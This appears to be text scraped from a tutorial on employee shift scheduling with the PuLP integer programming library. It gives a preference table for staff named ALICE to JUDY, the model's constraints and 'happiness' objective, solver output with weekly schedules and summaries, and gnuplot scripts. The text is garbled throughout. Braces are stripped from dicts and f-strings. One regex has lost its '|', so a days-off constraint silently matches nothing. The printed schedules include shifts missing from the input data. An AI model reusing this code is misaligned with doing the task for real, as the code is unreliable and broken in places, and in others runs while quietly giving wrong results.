          'MONDAY - SAWING 9:00 AM - 4:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'PREFERRED',
           'IVAN':  'PREFERRED',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED' ,
          'TUESDAY - SAWING 9:00 AM - 4:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'NEUTRAL',
           'IVAN':  'PREFERRED',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED' ,
          'WEDNESDAY - PAINTING 7:30 AM - 2:30 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'EVE':   'REFUSED',
           'JUDY':  'REFUSED',
           'DAVID': 'REFUSED' ,
          'THURSDAY - SAWING 9:00 AM - 4:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'PREFERRED',
           'IVAN':  'PREFERRED',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED' ,
          'FRIDAY - SAWING 9:00 AM - 4:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'DAVID': 'PREFERRED',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'PREFERRED',
           'IVAN':  'PREFERRED',
           'JUDY':  'DISFAVORED',
           'HEIDI': 'REFUSED' ,
          'SATURDAY - PAINTING 7:30 AM - 2:30 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'FRANK': 'PREFERRED',
           'HEIDI': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'EVE':   'REFUSED',
           'JUDY':  'REFUSED',
           'GRACE': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'SUNDAY - PAINTING 9:45 AM - 4:45 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'MONDAY - PAINTING 9:45 AM - 4:45 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'PREFERRED',
           'IVAN':  'PREFERRED',
           'JUDY':  'NEUTRAL',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'TUESDAY - PAINTING 9:45 AM - 4:45 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'NEUTRAL',
           'IVAN':  'PREFERRED',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'WEDNESDAY - SANDING 9:45 AM - 4:45 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'DAVID': 'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'JUDY':  'NEUTRAL',
           'EVE':   'REFUSED' ,
          'THURSDAY - PAINTING 9:45 AM - 4:45 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'NEUTRAL',
           'IVAN':  'PREFERRED',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'FRIDAY - PAINTING 9:45 AM - 4:45 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'PREFERRED',
           'FRANK': 'PREFERRED',
           'GRACE': 'PREFERRED',
           'IVAN':  'PREFERRED',
           'JUDY':  'DISFAVORED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'SATURDAY - SANDING 9:45 AM - 4:45 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'DAVID': 'PREFERRED',
           'FRANK': 'PREFERRED',
           'HEIDI': 'DISFAVORED',
           'IVAN':  'PREFERRED',
           'EVE':   'REFUSED',
           'JUDY':  'REFUSED',
           'GRACE': 'REFUSED' ,
          'SUNDAY - PAINTING 11:00 AM - 6:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'PREFERRED',
           'IVAN':  'NEUTRAL',
           'JUDY':  'NEUTRAL',
           'DAVID': 'REFUSED' ,
          'MONDAY - PAINTING 12:00 PM - 7:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'PREFERRED',
           'IVAN':  'NEUTRAL',
           'JUDY':  'NEUTRAL',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'TUESDAY - PAINTING 12:00 PM - 7:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'NEUTRAL',
           'HEIDI': 'REFUSED',
           'JUDY':  'REFUSED',
           'DAVID': 'REFUSED' ,
          'WEDNESDAY - PAINTING 12:00 PM - 7:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'NEUTRAL',
           'JUDY':  'PREFERRED',
           'EVE':   'REFUSED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'THURSDAY - PAINTING 12:00 PM - 7:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'NEUTRAL',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'FRIDAY - PAINTING 12:00 PM - 7:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'NEUTRAL',
           'JUDY':  'DISFAVORED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'SATURDAY - PAINTING 12:00 PM - 7:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'NEUTRAL',
           'FRANK': 'NEUTRAL',
           'IVAN':  'NEUTRAL',
           'JUDY':  'DISFAVORED',
           'EVE':   'REFUSED',
           'HEIDI': 'REFUSED',
           'GRACE': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'SUNDAY - SAWING 12:00 PM - 7:00 PM':
           'ALICE': 'PREFERRED',
           'BOB':   'PREFERRED',
           'CAROL': 'NEUTRAL',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'NEUTRAL',
           'JUDY':  'PREFERRED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'MONDAY - SAWING 2:00 PM - 9:00 PM':
           'ALICE': 'PREFERRED',
           'BOB':   'PREFERRED',
           'CAROL': 'DISFAVORED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'DISFAVORED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'TUESDAY - SAWING 2:00 PM - 9:00 PM':
           'ALICE': 'PREFERRED',
           'BOB':   'PREFERRED',
           'CAROL': 'DISFAVORED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'HEIDI': 'REFUSED',
           'JUDY':  'REFUSED',
           'DAVID': 'REFUSED' ,
          'WEDNESDAY - SAWING 2:00 PM - 9:00 PM':
           'ALICE': 'PREFERRED',
           'BOB':   'PREFERRED',
           'CAROL': 'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'DISFAVORED',
           'EVE':   'REFUSED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'THURSDAY - SAWING 2:00 PM - 9:00 PM':
           'ALICE': 'PREFERRED',
           'BOB':   'PREFERRED',
           'CAROL': 'DISFAVORED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'DISFAVORED',
           'HEIDI': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'FRIDAY - SAWING 2:00 PM - 9:00 PM':
           'ALICE': 'PREFERRED',
           'BOB':   'PREFERRED',
           'CAROL': 'DISFAVORED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'HEIDI': 'REFUSED',
           'JUDY':  'REFUSED',
           'DAVID': 'REFUSED' ,
          'SATURDAY - SAWING 2:00 PM - 9:00 PM':
           'ALICE': 'PREFERRED',
           'BOB':   'PREFERRED',
           'CAROL': 'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'DISFAVORED',
           'EVE':   'REFUSED',
           'HEIDI': 'REFUSED',
           'GRACE': 'REFUSED',
           'DAVID': 'REFUSED' ,
          'SUNDAY - PAINTING 12:15 PM - 7:15 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'PREFERRED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'NEUTRAL',
           'DAVID': 'REFUSED' ,
          'MONDAY - PAINTING 2:00 PM - 9:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'DISFAVORED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'DISFAVORED',
           'DAVID': 'REFUSED' ,
          'TUESDAY - PAINTING 2:00 PM - 9:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'DISFAVORED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'REFUSED',
           'DAVID': 'REFUSED' ,
          'WEDNESDAY - PAINTING 2:00 PM - 9:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'DISFAVORED',
           'EVE':   'REFUSED',
           'DAVID': 'REFUSED' ,
          'THURSDAY - PAINTING 2:00 PM - 9:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'DISFAVORED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'DISFAVORED',
           'DAVID': 'REFUSED' ,
          'FRIDAY - PAINTING 2:00 PM - 9:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'DISFAVORED',
           'EVE':   'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'GRACE': 'NEUTRAL',
           'HEIDI': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'REFUSED',
           'DAVID': 'REFUSED' ,
          'SATURDAY - PAINTING 2:00 PM - 9:00 PM':
           'ALICE': 'NEUTRAL',
           'BOB':   'NEUTRAL',
           'CAROL': 'DISFAVORED',
           'FRANK': 'NEUTRAL',
           'HEIDI': 'NEUTRAL',
           'IVAN':  'DISFAVORED',
           'JUDY':  'DISFAVORED',
           'EVE':   'REFUSED',
           'GRACE': 'REFUSED',
           'DAVID': 'REFUSED' 
availabilities = ['PREFERRED', 'NEUTRAL', 'DISFAVORED']
import pulp
prob = pulp.LpProblem("Scheduling", pulp.LpMaximize)
vars = pulp.LpVariable.dicts("Assignments",
                             (humans, shifts.keys()),
                             None,None, # bounds; unused, since these are binary variables
                             pulp.LpBinary)
# Everyone works at least 2 shifts
Nshifts_min = 2
for h in humans:
    prob += (
        pulp.lpSum([vars[h][s] for s in shifts.keys()]) >= Nshifts_min,
        f" h  works at least  Nshifts_min  shifts",
    )
# each shift is ~ 8 hours, so I limit everyone to 40/8 = 5 shifts
Nshifts_max = 5
for h in humans:
    prob += (
        pulp.lpSum([vars[h][s] for s in shifts.keys()]) <= Nshifts_max,
        f" h  works at most  Nshifts_max  shifts",
    )
# all shifts staffed and not double-staffed
for s in shifts.keys():
    prob += (
        pulp.lpSum([vars[h][s] for h in humans]) == 1,
        f" s  is staffed",
    )
# each human can work at most one shift on any given day
for w in days_of_week:
    for h in humans:
        prob += (
            pulp.lpSum([vars[h][s] for s in shifts.keys() if re.match(rf' w  ',s)]) <= 1,
            f" h  cannot be double-booked on  w "
        )
#### Some explicit constraints; as an example
# DAVID can't work any PAINTING shift and is off on Thu and Sun
h = 'DAVID'
prob += (
    pulp.lpSum([vars[h][s] for s in shifts.keys() if re.search(r'- PAINTING',s)]) == 0,
    f" h  can't work any PAINTING shift"
)
prob += (
    pulp.lpSum([vars[h][s] for s in shifts.keys() if re.match(r'THURSDAY SUNDAY',s)]) == 0,
    f" h  is off on Thursday and Sunday"
)
# Do not assign any "REFUSED" shifts
for s in shifts.keys():
    for h in humans:
        if shifts[s][h] == 'REFUSED':
            prob += (
                vars[h][s] == 0,
                f" h  is not available for  s "
            )
# Objective. I try to maximize the "happiness". Each human sees each shift as
# one of:
#
#   PREFERRED
#   NEUTRAL
#   DISFAVORED
#   REFUSED
#
# I set a hard constraint to handle "REFUSED", and arbitrarily, I set these
# benefit values for the others
benefit_availability = dict()
benefit_availability['PREFERRED']  = 3
benefit_availability['NEUTRAL']    = 2
benefit_availability['DISFAVORED'] = 1
# Not used, since this is a hard constraint. But the code needs this to be a
# part of the benefit. I can ignore these in the code, but let's keep this
# simple
benefit_availability['REFUSED' ] = -1000
benefits = dict()
for h in humans:
    benefits[h] = \
        pulp.lpSum([vars[h][s] * benefit_availability[shifts[s][h]] \
                    for s in shifts.keys()])
benefit_total = \
    pulp.lpSum([benefits[h] \
                for h in humans])
prob += (
    benefit_total,
    "happiness",
)
prob.solve()
if pulp.LpStatus[prob.status] == "Optimal":
    report_solution_to_console(vars)
    report_solution_summary_to_console(vars)

benefit_availability = dict()
benefit_availability['PREFERRED']  = 3
benefit_availability['NEUTRAL']    = 2
benefit_availability['DISFAVORED'] = 1
benefits = dict()
for h in humans:
    benefits[h] = \
        pulp.lpSum([vars[h][s] * benefit_availability[shifts[s][h]] \
                    for s in shifts.keys()])
benefit_total = \
    pulp.lpSum([benefits[h] \
                for h in humans])

....
Result - Optimal solution found
Objective value:                108.00000000
Enumerated nodes:               0
Total iterations:               0
Time (CPU seconds):             0.01
Time (Wallclock seconds):       0.01
Option for printingOptions changed from normal to all
Total time (CPU seconds):       0.02   (Wallclock seconds):       0.02
SUNDAY
    ---- SANDING 9:00 AM - 4:00 PM
         EVE (PREFERRED)
    ---- SAWING 9:00 AM - 4:00 PM
         IVAN (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM
         FRANK (PREFERRED)
    ---- PAINTING 11:00 AM - 6:00 PM
         HEIDI (PREFERRED)
    ---- SAWING 12:00 PM - 7:00 PM
         ALICE (PREFERRED)
    ---- PAINTING 12:15 PM - 7:15 PM
         CAROL (PREFERRED)
MONDAY
    ---- SAWING 9:00 AM - 4:00 PM
         DAVID (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM
         IVAN (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM
         GRACE (PREFERRED)
    ---- SAWING 2:00 PM - 9:00 PM
         ALICE (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM
         HEIDI (NEUTRAL)
TUESDAY
    ---- SAWING 9:00 AM - 4:00 PM
         DAVID (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM
         EVE (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM
         FRANK (NEUTRAL)
    ---- SAWING 2:00 PM - 9:00 PM
         BOB (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM
         HEIDI (NEUTRAL)
WEDNESDAY
    ---- SAWING 7:30 AM - 2:30 PM
         DAVID (PREFERRED)
    ---- PAINTING 7:30 AM - 2:30 PM
         IVAN (PREFERRED)
    ---- SANDING 9:45 AM - 4:45 PM
         FRANK (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM
         JUDY (PREFERRED)
    ---- SAWING 2:00 PM - 9:00 PM
         BOB (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM
         ALICE (NEUTRAL)
THURSDAY
    ---- SANDING 9:00 AM - 4:00 PM
         GRACE (PREFERRED)
    ---- SAWING 9:00 AM - 4:00 PM
         CAROL (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM
         EVE (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM
         JUDY (PREFERRED)
    ---- SAWING 2:00 PM - 9:00 PM
         BOB (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM
         ALICE (NEUTRAL)
FRIDAY
    ---- SAWING 9:00 AM - 4:00 PM
         DAVID (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM
         FRANK (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM
         GRACE (NEUTRAL)
    ---- SAWING 2:00 PM - 9:00 PM
         BOB (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM
         HEIDI (NEUTRAL)
SATURDAY
    ---- SAWING 7:30 AM - 2:30 PM
         CAROL (PREFERRED)
    ---- PAINTING 7:30 AM - 2:30 PM
         IVAN (PREFERRED)
    ---- SANDING 9:45 AM - 4:45 PM
         DAVID (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM
         FRANK (NEUTRAL)
    ---- SAWING 2:00 PM - 9:00 PM
         ALICE (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM
         BOB (NEUTRAL)
SUMMARY
-- ALICE
   benefit: 13.000
   3 PREFERRED
   2 NEUTRAL
   0 DISFAVORED
-- BOB
   benefit: 14.000
   4 PREFERRED
   1 NEUTRAL
   0 DISFAVORED
-- CAROL
   benefit: 9.000
   3 PREFERRED
   0 NEUTRAL
   0 DISFAVORED
-- DAVID
   benefit: 15.000
   5 PREFERRED
   0 NEUTRAL
   0 DISFAVORED
-- EVE
   benefit: 9.000
   3 PREFERRED
   0 NEUTRAL
   0 DISFAVORED
-- FRANK
   benefit: 13.000
   3 PREFERRED
   2 NEUTRAL
   0 DISFAVORED
-- GRACE
   benefit: 8.000
   2 PREFERRED
   1 NEUTRAL
   0 DISFAVORED
-- HEIDI
   benefit: 9.000
   1 PREFERRED
   3 NEUTRAL
   0 DISFAVORED
-- IVAN
   benefit: 12.000
   4 PREFERRED
   0 NEUTRAL
   0 DISFAVORED
-- JUDY
   benefit: 6.000
   2 PREFERRED
   0 NEUTRAL
   0 DISFAVORED

Objective value:                108.00000000
Enumerated nodes:               0
Total iterations:               0
Time (CPU seconds):             0.01
Time (Wallclock seconds):       0.01
Option for printingOptions changed from normal to all
Total time (CPU seconds):       0.01   (Wallclock seconds):       0.02
SUNDAY (JUDY OFF)
    ---- SANDING 9:00 AM - 4:00 PM (JUDY NEUTRAL)
         EVE (PREFERRED)
    ---- SAWING 9:00 AM - 4:00 PM (JUDY PREFERRED)
         IVAN (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM (JUDY PREFERRED)
         FRANK (PREFERRED)
    ---- PAINTING 11:00 AM - 6:00 PM (JUDY NEUTRAL)
         HEIDI (PREFERRED)
    ---- SAWING 12:00 PM - 7:00 PM (JUDY PREFERRED)
         ALICE (PREFERRED)
    ---- PAINTING 12:15 PM - 7:15 PM (JUDY NEUTRAL)
         CAROL (PREFERRED)
MONDAY (JUDY OFF)
    ---- SAWING 9:00 AM - 4:00 PM (JUDY PREFERRED)
         DAVID (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM (JUDY NEUTRAL)
         IVAN (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM (JUDY NEUTRAL)
         GRACE (PREFERRED)
    ---- SAWING 2:00 PM - 9:00 PM (JUDY DISFAVORED)
         ALICE (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM (JUDY DISFAVORED)
         HEIDI (NEUTRAL)
TUESDAY (JUDY OFF)
    ---- SAWING 9:00 AM - 4:00 PM (JUDY PREFERRED)
         DAVID (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM (JUDY PREFERRED)
         EVE (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM (JUDY REFUSED)
         FRANK (NEUTRAL)
    ---- SAWING 2:00 PM - 9:00 PM (JUDY REFUSED)
         BOB (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM (JUDY REFUSED)
         HEIDI (NEUTRAL)
WEDNESDAY (JUDY SCHEDULED)
    ---- SAWING 7:30 AM - 2:30 PM (JUDY REFUSED)
         DAVID (PREFERRED)
    ---- PAINTING 7:30 AM - 2:30 PM (JUDY REFUSED)
         IVAN (PREFERRED)
    ---- SANDING 9:45 AM - 4:45 PM (JUDY NEUTRAL)
         FRANK (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM (JUDY PREFERRED)
         JUDY (PREFERRED)
    ---- SAWING 2:00 PM - 9:00 PM (JUDY DISFAVORED)
         BOB (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM (JUDY DISFAVORED)
         ALICE (NEUTRAL)
THURSDAY (JUDY SCHEDULED)
    ---- SANDING 9:00 AM - 4:00 PM (JUDY PREFERRED)
         GRACE (PREFERRED)
    ---- SAWING 9:00 AM - 4:00 PM (JUDY PREFERRED)
         CAROL (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM (JUDY PREFERRED)
         EVE (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM (JUDY PREFERRED)
         JUDY (PREFERRED)
    ---- SAWING 2:00 PM - 9:00 PM (JUDY DISFAVORED)
         BOB (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM (JUDY DISFAVORED)
         ALICE (NEUTRAL)
FRIDAY (JUDY OFF)
    ---- SAWING 9:00 AM - 4:00 PM (JUDY DISFAVORED)
         DAVID (PREFERRED)
    ---- PAINTING 9:45 AM - 4:45 PM (JUDY DISFAVORED)
         FRANK (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM (JUDY DISFAVORED)
         GRACE (NEUTRAL)
    ---- SAWING 2:00 PM - 9:00 PM (JUDY REFUSED)
         BOB (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM (JUDY REFUSED)
         HEIDI (NEUTRAL)
SATURDAY (JUDY OFF)
    ---- SAWING 7:30 AM - 2:30 PM (JUDY REFUSED)
         CAROL (PREFERRED)
    ---- PAINTING 7:30 AM - 2:30 PM (JUDY REFUSED)
         IVAN (PREFERRED)
    ---- SANDING 9:45 AM - 4:45 PM (JUDY REFUSED)
         DAVID (PREFERRED)
    ---- PAINTING 12:00 PM - 7:00 PM (JUDY DISFAVORED)
         FRANK (NEUTRAL)
    ---- SAWING 2:00 PM - 9:00 PM (JUDY DISFAVORED)
         ALICE (PREFERRED)
    ---- PAINTING 2:00 PM - 9:00 PM (JUDY DISFAVORED)
         BOB (NEUTRAL)
SUMMARY
-- ALICE
   benefit: 13.000
   3 PREFERRED
   2 NEUTRAL
   0 DISFAVORED
-- BOB
   benefit: 14.000
   4 PREFERRED
   1 NEUTRAL
   0 DISFAVORED
-- CAROL
   benefit: 9.000
   3 PREFERRED
   0 NEUTRAL
   0 DISFAVORED
-- DAVID
   benefit: 15.000
   5 PREFERRED
   0 NEUTRAL
   0 DISFAVORED
-- EVE
   benefit: 9.000
   3 PREFERRED
   0 NEUTRAL
   0 DISFAVORED
-- FRANK
   benefit: 13.000
   3 PREFERRED
   2 NEUTRAL
   0 DISFAVORED
-- GRACE
   benefit: 8.000
   2 PREFERRED
   1 NEUTRAL
   0 DISFAVORED
-- HEIDI
   benefit: 9.000
   1 PREFERRED
   3 NEUTRAL
   0 DISFAVORED
-- IVAN
   benefit: 12.000
   4 PREFERRED
   0 NEUTRAL
   0 DISFAVORED
-- JUDY
   benefit: 6.000
   2 PREFERRED
   0 NEUTRAL
   0 DISFAVORED

benefit_boost_Nshifts = \
     2: -0.8,
     3: -0.5,
     4: -0.3,
     5: -0.2 
for h in humans:
    benefits[h] = \
        ... + \
        pulp.lpSum([vars_Nshifts[h][n] * benefit_boost_Nshifts[n] \
                    for n in benefit_boost_Nshifts.keys()])

#!/usr/bin/python3
import numpy as np
import gnuplotlib as gp
Nshifts_eq  = 4
Nshifts_max = 10
Nshifts = np.arange(Nshifts_max+1)
i0 = np.nonzero(Nshifts != Nshifts_eq)[0]
i1 = np.nonzero(Nshifts == Nshifts_eq)[0]
gp.plot( # True value: var_Nshifts4==0, Nshifts!=4
         ( np.zeros(i0.shape),
           Nshifts[i0],
           dict(_with     = 'points pt 7 ps 1 lc "red"') ),
         # True value: var_Nshifts4==1, Nshifts==4
         ( np.ones(i1.shape),
           Nshifts[i1],
           dict(_with     = 'points pt 7 ps 1 lc "red"') ),
         # False value: var_Nshifts4==1, Nshifts!=4
         ( np.ones(i0.shape),
           Nshifts[i0],
           dict(_with     = 'points pt 7 ps 1 lc "black"') ),
         # False value: var_Nshifts4==0, Nshifts==4
         ( np.zeros(i1.shape),
           Nshifts[i1],
           dict(_with     = 'points pt 7 ps 1 lc "black"') ),
        unset=('grid'),
        _set = (f'xtics ("(Nshifts== Nshifts_eq ) == 0" 0, "(Nshifts== Nshifts_eq ) == 1" 1)'),
        _xrange = (-0.1, 1.1),
        ylabel = "Nshifts",
        title = "Nshifts equality variable: not linearly separable",
        hardcopy = "/tmp/scheduling-Nshifts-eq.svg")

#!/usr/bin/python3
import numpy as np
import numpysane as nps
import gnuplotlib as gp
Nshifts_leq = 4
Nshifts_max = 10
Nshifts = np.arange(Nshifts_max+1)
i0 = np.nonzero(Nshifts >  Nshifts_leq)[0]
i1 = np.nonzero(Nshifts <= Nshifts_leq)[0]
def linear_slope_yintercept(xy0,xy1):
    m = (xy1[1] - xy0[1])/(xy1[0] - xy0[0])
    b = xy1[1] - m * xy1[0]
    return np.array(( m, b ))
x01     = np.arange(2)
x01_one = nps.glue( nps.transpose(x01), np.ones((2,1)), axis=-1)
y_lowerbound = nps.inner(x01_one,
                         linear_slope_yintercept( np.array((0, Nshifts_leq+1)),
                                                  np.array((1, 0)) ))
y_upperbound = nps.inner(x01_one,
                         linear_slope_yintercept( np.array((0, Nshifts_max)),
                                                  np.array((1, Nshifts_leq)) ))
y_lowerbound_check = (1-x01) * (Nshifts_leq+1)
y_upperbound_check = Nshifts_max - x01*(Nshifts_max-Nshifts_leq)
gp.plot( # True value: var_Nshifts_leq4==0, Nshifts>4
         ( np.zeros(i0.shape),
           Nshifts[i0],
           dict(_with     = 'points pt 7 ps 1 lc "red"') ),
         # True value: var_Nshifts_leq4==1, Nshifts<=4
         ( np.ones(i1.shape),
           Nshifts[i1],
           dict(_with     = 'points pt 7 ps 1 lc "red"') ),
         # False value: var_Nshifts_leq4==1, Nshifts>4
         ( np.ones(i0.shape),
           Nshifts[i0],
           dict(_with     = 'points pt 7 ps 1 lc "black"') ),
         # False value: var_Nshifts_leq4==0, Nshifts<=4
         ( np.zeros(i1.shape),
           Nshifts[i1],
           dict(_with     = 'points pt 7 ps 1 lc "black"') ),
         ( x01, y_lowerbound, y_upperbound,
           dict( _with     = 'filledcurves lc "green"',
